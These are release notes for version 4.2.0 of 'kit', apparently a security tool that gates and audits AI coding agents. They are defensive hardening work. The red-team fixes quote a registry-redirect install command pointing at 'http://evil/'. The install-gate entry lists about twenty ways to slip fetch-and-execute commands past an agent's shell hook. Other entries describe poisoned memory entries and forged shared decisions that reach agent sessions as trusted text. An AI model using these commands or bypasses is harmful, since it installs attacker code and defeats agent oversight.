Skip to content

kit 4.2.0

Choose a tag to compare

@sandstream sandstream released this 24 Jul 22:22
4cd28b3

Security — surface a trust-bearing KIT_DEVICE_ID override (#79)

  • kit check warns when a KIT_DEVICE_ID override is active on a real store. The
    device id is trust-bearing — the device fences in palList / palSyncFindings
    auto-close another device's open findings by it, so a spoofed value could silently
    close them; the protection was doc-only. New deviceIdOverrideActive() +
    device-id override check warns (never fails by default; escalates under
    --fail-on-warning) when a well-formed override is set AND a store exists (a fence is
    actually in effect); skips otherwise. src/memory/pal.ts, src/check-security.ts.

Security — shared-tier signature verification on the recall inject path (R4/#77)

  • Auto-injected team decisions are now signature-verified. recentDecisions
    (SessionStart recovery / touched-decisions notice) replayed curated shared entries
    into every session as trusted "Curated team decisions" without checking their
    signature — so a tampered or forged entry rode in as trusted. recallSafeShared
    now filters before injection: a bad-sig (content changed after signing by a key we
    hold) is ALWAYS dropped, and under a committed .kit-policy.signers anchor only
    org-trusted entries are injected. With no anchor the common team case is preserved
    (only tamper is dropped). src/memory/shared.ts, src/memory/hook.ts.

Security — kit check gates on memory-hooks liveness (R5/#71)

  • kit check now fails when the self-playing capture loop silently degraded.
    Memory capture + statusline depend on hooks in ~/.claude/settings.json; if they were
    installed here (durable marker present) but have since vanished, capture is silently off
    (the store looks installed but records nothing). kit doctor already flagged this and
    kit memory uninstall already audits the teardown; a new memory hooks liveness check
    folds the same liveness into the kit check security gate. Skips when never installed
    (CI / fresh machine) and after a clean uninstall, so it fails only on genuine silent
    degradation. src/check-security.ts.

Security — PII parity: detect a Swedish personnummer at rest

  • findSecrets now detects a Swedish personnummer (Luhn-validated). kit's patterns
    were secret-focused and caught no PII (the ruvnet/AIDefence research flagged the gap).
    A personnummer carries a Luhn check digit, so detection is high-precision — it validates
    the check digit and a plausible date rather than matching a bare 10/12-digit run, so a
    timestamp/id/phone number doesn't trip it. Matched values are masked (never echoed), so
    kit memory scan surfaces a personnummer leaked into the store without re-leaking it.
    src/utils/redactSecrets.ts.

Security — MCP kit_run tokenization

  • kit_run tokenizes like a shell instead of a naive whitespace split. command.split(/\s+/)
    turned git commit -m "a b" into the wrong argv and silently ran a different command. A new
    shellSplit util tokenizes POSIX-style (quotes, escapes) without evaluating anything (argv is
    run via execFile, no shell); an unterminated quote is refused, not mis-split. Same fix applied
    to the .kit.toml [setup] command runner. (The other holistic-review MCP items — mutating tools
    routed through governance/audit, and a single computeCheckVerdict shared by CLI and MCP — were
    already in place.) src/utils/shellSplit.ts, src/mcp-server.ts, src/cli.ts.

Security — kit check now gates on a poisoned memory store (R3)

  • kit check scans the memory store for a replayable prompt-injection. The store is
    replayed into every session via recall, so a poisoned entry is a delayed injection.
    Recall already excludes quarantined rows and sanitizes render paths; the missing piece
    was that kit check never scanned the store itself, so a message indexed BEFORE the
    insert-time quarantine gate (a non-quarantined high-confidence injection) was still
    recallable and kit check reported green. A new memory injection check flags those
    rows and names the one-command fix (kit memory scan --injection --quarantine, which
    excludes them from recall so the flag clears). It WARNS by default — the scanner can't
    tell a message discussing an injection from a poisoned one, so a hard fail would turn
    every security researcher's gate permanently red — and ESCALATES to a fail under
    --fail-on-warning / strict CI. Fail-closed (didNotRun) if the store can't be
    opened/scanned; honest skip when there is no store. src/memory/scan.ts,
    src/check-security.ts.

Integration — external findings ingestion: connect any scanner to kit check

  • kit check now folds third-party findings into its verdict. A partner tool
    (a kit-plugin-*, or any in-house gate) appends one JSON object per line to
    .kit-scan-results.jsonl{source, severity, title?, id?, package?} — and
    kit check --category security ingests it: critical/high fail the gate
    (like npm audit), medium/low warn, grouped per source. This is the inbound
    integration contract from the research: partners connect to kit's stable surface;
    kit's core needs no per-partner code (the kit-plugin-snyk/-wiz/-sentrux plugins
    already write this file — nothing consumed it into the verdict until now).
    No-false-green: ingestion can only add/escalate findings, never emit a pass, and a
    garbage/hostile file cannot green the gate; unparseable lines are surfaced (never
    silently dropped). No file → no-op. Deterministic, zero-LLM. New src/external-findings.ts;
    documented in docs/EXTERNAL_FINDINGS.md.

Security — self-healing scanner preflight: install a missing scanner instead of only failing (found by dogfooding)

  • kit check / kit ci now auto-provision a declared-but-missing scanner before
    scanning.
    A missing scanner shouldn't just fail the gate — in an ephemeral
    environment it should be installed so the scan actually runs. autoInstallScanners
    installs any security scanner that is DECLARED in .kit.toml [tools] but not yet
    present (semgrep, socket, trufflehog, trivy, osv-scanner), then the scan
    runs against it. It is the runtime complement to kit install at env-setup (which
    provisions the same tools); this backstops the case where setup did not run. Only
    kit's known scanner refs are touched, and only when already declared, so it can
    never pull in a tool the project didn't opt into. Triage-gated and read-only-aware
    (via installTools), best-effort (a failed install leaves the check to fail closed),
    skipped when air-gapped, and opt-out via --no-auto-install / KIT_CHECK_NO_AUTOINSTALL.
    src/install.ts, src/cli.ts.

Security — scanner-health strict: a missing scanner no longer passes as a warning (found by dogfooding)

  • didNotRun was missing on tool-absent scanner branches. check-security's
    contract is that a check which could not RUN because its tool is absent is
    didNotRun and FAILS the strict gate (kit ci) — "green means every check
    actually ran". Five branches violated it, returning a plain warn: pip-audit
    (with a requirements.txt present), guarddog (opted in, manifest present),
    trivy container / IaC / Maven scans (Dockerfile / Compose / Terraform / pom
    present), and the license check (neither license-checker nor npx
    available). A repo with Dockerfiles but no trivy therefore passed strict CI as a
    mere warning — a scanner-health false-green. All five now set didNotRun, so an
    unscanned-because-uninstalled scanner fails strict (still downgradable with
    --lenient / KIT_CI_LENIENT). Local kit check output is unchanged; opt-in and
    not-applicable cases remain honest skips. src/check-security.ts.

Security — supply-chain gate, secrets/audit & control-plane hardening (backlog B1–B5)

A deep MEDIUM/LOW security sweep, each area hardened through repeated adversarial
re-attacks against the compiled build until it converged. Deterministic and
fail-closed throughout.

  • Install-gate parser (B1). Closed ~20 fetch-and-execute bypass classes in the
    gate-bash hook: intra-word quoting, path/backslash/env-prefix binaries, process
    substitution + here-strings, missing verbs (npm install-test/it/update/ci,
    yarn global add, uv run --with, corepack incl. corepack pnpm@9 dispatch,
    create/init initiators), shell -c (flag clusters -lc, ANSI-C $'…',
    escaped-quote nesting), ${IFS}/${IFS<op>} word-splitting, npm exec -c/--call
    and runner→package-manager chaining, bare-reinstall + registry-redirect fail-close,
    and $VAR/xargs indirection. Also fixed three hot-path algorithmic-complexity
    DoS issues (regex ReDoS, SEGMENT_SPLIT O(N²), queue-driver O(N²)) — all now
    linear with timing regression tests. src/install-gate.ts.
  • Triage version semantics (B2). The gate stripped the version, so npm i evil@1.2.3
    was triaged as latest — a clean latest could vouch for a yanked/malicious pinned
    version. The pinned version/tag is now carried onto the triage ref and the triage
    script resolves the spec to the exact version the manager installs (semver /
    PEP 440: exact pins, dist-tags, ranges like @2/@^1/<2/~=1.2); npm alias specs
    (name@npm:other) fail closed. Documented that a PASS is an existence/health/version
    gate, not a malware verdict (that is opt-in GuardDog). src/install-gate.ts,
    skills/triage/scripts/triage.py.
  • Secrets & redaction (B3). New detectors — raw PEM private keys, Azure AccountKey=,
    SendGrid, Slack xapp-, npm tokens, token-in-URL-userinfo (all ReDoS-bounded). The
    audit sink now redacts error/metadata/operation/environment by value before
    writing (covers the chain, remote push, and pending queue), the hash chain still
    verifies, and reassembly is prototype-pollution-safe. env-inspect no longer leaks a
    fixed prefix; the plaintext scanner now opens .npmrc/id_rsa/*.pem/*.key.
  • Control-plane (B4). A monotonic, signed policy.revision ratchet rejects a replayed
    older policy over the untrusted transport (the floor is trusted only from a verifying
    on-disk policy). gzip-bomb guard bounds decompression on kit memory pull; the remote
    bundle fetch is now timeout- and size-capped. src/control-plane/distribute.ts,
    src/policy-doc.ts, src/memory/backup.ts.
  • Cross-cutting (B5). IDs use crypto.randomUUID() (unguessable approval handles);
    the agent_writes authz lookup is Object.hasOwn-guarded against prototype keys;
    .env.local is created 0o600 atomically. src/id-generator.ts, src/policy.ts,
    src/provision.ts.
  • Triage skill refresh on upgrade (found by dogfooding). The bundled triage script
    was only copied to ~/.claude/skills/triage when ABSENT, so a kit upgrade that improved
    triage.py (e.g. the B2 version resolver, new secret patterns) never reached existing
    installs — the CLI silently kept running the old script (a pinned pkg@1.2.3 was even
    false-blocked because the stale copy fetched the literal pkg@1.2.3 name → 404). The
    installed copy is now version-stamped and refreshed when it was written by an older kit.
    src/triage.ts.
  • Install-gate hooks now route through the self-healing wrapper (found by dogfooding).
    kit agent-config --install-gate wired each agent's PreToolUse hook with a baked
    absolute <node> <cli.js> gate-bash, diverging from the memory hooks (which prefer the
    stable ~/.kit/bin/kit wrapper). Two costs: the gate ran in a non-login hook shell
    without the tool PATH, so triage's python3/git subprocesses could fail (fail-closed,
    but spamming false-blocks); and a baked node path frozen into a config goes stale if node
    moves (nvm/volta/fnm) or kit relocates, so the hook could fail to spawn. The gate now
    prefers the wrapper — one stable path kit refreshes in place — and installAllInstallGates
    writes the wrapper first (skipped in read-only mode). src/agent-config.ts.
  • kit memory learn no longer surfaces harness scaffolding (found by dogfooding).
    Injected reminders, slash-command echoes, session-continuation banners, hook output and
    image placeholders are stored as type='user' rows and recur every session, so they
    dominated the "recurring instructions" ranking and buried the real ones (<system-reminder>,
    /model, "Continue from where you left off", "… hook success:", "[Image: …]"). A
    deterministic, high-precision isBoilerplate filter (structural tags + a leading slash
    command + a few verbatim harness phrases — never generic words) drops them before ranking.
    src/memory/learn.ts.
  • kit memory scan --injection surfaces quarantine state (found by dogfooding). The scan
    reads every row regardless of quarantine, so re-running it after --quarantine showed the
    same high-confidence list and read as "still exposed" even though those rows are excluded
    from recall. Plain injection scans with high-confidence findings now print how many messages
    are already quarantined and point at --quarantine. Deliberately NOT a path/content allowlist:
    a suppression channel on an injection scanner would be a bypass. src/commands/memory.ts.

Security — red-team critical fixes

A code-in-hand adversarial red-team of kit found three CONFIRMED critical
false-greens; all three are now closed:

  • Install-gate registry-redirect bypass. npm_config_registry=http://evil/ npm i lodash
    (and PIP_INDEX_URL=…, --registry=…, -i <url>) previously triaged the reputable
    public NAME and returned triage PASS while the package manager pulled the code
    from an attacker registry. parseInstallCommand now detects install-SOURCE
    redirects (env vars + flags) and marks the command unverifiable (fail-closed)
    unless the source is the known public default. src/install-gate.ts.
  • CI publish supply-chain: tag-push → npm as latest. publish.yml ran from the
    pushed tag's tree and imported+ultimately-trusted the in-repo maintainer-pubkey.asc,
    so anyone who could push a v* tag could swap the key and ship attacker code with
    valid provenance. The publish job now runs under a protected environment:
    (npm-publish, gate NPM_TOKEN behind required reviewers) and pins the expected
    key fingerprint
    in a MAINTAINER_KEY_FPR secret — a mismatched/ swapped in-repo
    key is refused (fail-closed; the secret is required). .github/workflows/publish.yml.
  • exec-broker "dead code" false-green. The resource gates only inspected declared
    effect arrays, which the production caller never populated — so every op passed
    regardless of policy. brokerExec now fail-closed-denies a gated op that declares
    no effect contract
    under an active policy (a genuinely effect-free op opts in via
    declaredEffects: true), turning a silent rubber-stamp into real enforcement.
    src/exec-broker/broker.ts.

Added

  • Control-plane distribution — signed policy + revocation propagation (Pelare 2,
    src/control-plane/distribute.ts). A PolicyBundle (raw .kit-policy.toml +
    .kit-policy.sig + signed revocations) can be fetched from a file (air-gapped) or
    an opt-in https: URL (injectable fetchImpl), then verifyPolicyBundle verifies
    it fully offline against the repo's committed .kit-policy.signers trust anchor
    — reusing the exact verifyPolicy codepath (no crypto re-implementation) — and
    applyPolicyBundle writes it ONLY when valid, merging each revocation after a
    per-record signature check against the anchor. Fail-closed throughout (untrusted
    signer, tampered policy/revocation, or malformed bundle → rejected, root
    untouched). New appendRevocations primitive merges pre-verified records
    (dedup) without re-signing. No egress by default; zero LLM.

  • exec-broker wired into the MCP mutating-tool path (opt-in) via runBrokered
    (src/exec-broker/) and runGovernedBrokered (src/governance-middleware.ts).
    The Pelare-3 resource gates (egress / fs-write / env) now compose ON TOP of the
    governance floor at the four MCP mutating tools. It is opt-in and
    non-breaking
    : with no .kit-exec-broker.json (nor KIT_EXEC_BROKER_POLICY)
    present, runBrokered is a transparent passthrough, so behavior is identical
    until a user drops a policy in. A present-but-malformed policy fails closed
    (deny) — a broken gate never silently disables enforcement.

  • RBAC identity providers for Microsoft Entra ID and Google Cloud Identity
    (src/rbac/providers-cloud.ts), siblings of the GitHub backend. Both compile
    role bindings at ENROLLMENT time behind an injectable membership source (real
    wiring: Graph GET /v1.0/users/{id}/memberOf with @odata.nextLink pagination;
    Cloud Identity memberships:searchTransitiveGroups with nextPageToken), map
    group membership → kit roles via a roleMap, and are namespaceable by
    tenant/domain. Fail-closed (a non-OK response throws, never spurious empty
    membership); KIT_RBAC_ENTRA_API / KIT_RBAC_GOOGLE_API override the base URL.
    Enrollment-only — never imported by the offline decision path, so RBAC stays
    zero-network at decision time across all three IdPs. (Live endpoint shapes are
    the documented ones; verify against a real tenant before production reliance.)


Full changelog: https://github.com/sandstream/kit/blob/v4.2.0/CHANGELOG.md

Verify this release:

git tag -v v4.2.0
npm audit signatures